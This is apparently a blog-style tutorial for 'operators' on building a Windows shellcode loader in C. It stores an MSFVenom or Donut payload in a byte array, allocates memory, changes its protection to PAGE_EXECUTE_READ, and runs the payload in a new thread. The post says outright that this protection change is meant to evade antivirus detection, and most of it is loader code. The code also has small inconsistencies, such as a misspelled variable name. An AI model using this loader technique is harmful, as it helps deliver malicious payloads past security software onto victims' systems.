Hello, my fellow operators!

Here goes the disclaimer: this is not a tutorial to make a malware. If you were looking for that, then this isn't your place.
We start by generating our payload using a utility like MSFVenom, Donut and so on.
We are going to start with a basic loader. By loader, I'm referring to of something that will load our payload within a process.
You can define an unsigned char variable to hold your payload in a array.
unsigned char buf[] = { 0xfc, 0x48, 0x83, 0xe4... };
Then, we want to store that payload inside the current process memory and make that region executable. This can be achieved with the VirtualAlloc function.

If we take a look at VirtualAlloc implementation, we will find different values for the flProtect parameter. A very common value is the usage of PAGE_EXECUTE_READWRITE, which is a huge red flag. Even the AV of McAfee will detect your executable as malicious content and we don't want that.
void* bufAddr;
SIZE_T bufSize = sizeof(buf);
bufAddr = VirtualAlloc(0, bufSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
How do we avoid that? Well, we can make the protection region first as writable and readable executable memory, with PAGE_READWRITE.
void* bufAddr;
bufAddr = VirtualAlloc(0, bufSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Then we'd use VirtualProtect to change the region to PAGE_READEXECUTE, which will then change the memory page to be readable and executable.

DWORD lpflOldProtect = 0;
BOOL vp = VirtualProtect(buffAddr, bufSize, PAGE_EXECUTE_READ, &lpflOldProtect);
After allocating memory, we can use CreateThread to execute the allocated memory within the virtual address space of the process. The important value here is lpStartAddress, which is a pointer to where the payload is located.

HANDLE thread;
thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)bufAddr, 0, 0, 0);
WaitForSingleObject(thread, -1);
WaitForSingleObject will wait until the thread has been executed by specifying -1.

We restore the memory page to it's initial state.
VirtualProtect(bufAddr, bufSize, lpflOldProtect, &lpflOldProtect);
And we clean up any remaining handles.
CloseHandle(thread);
VirtualFree(bufAddr, 0, MEM_RELEASE);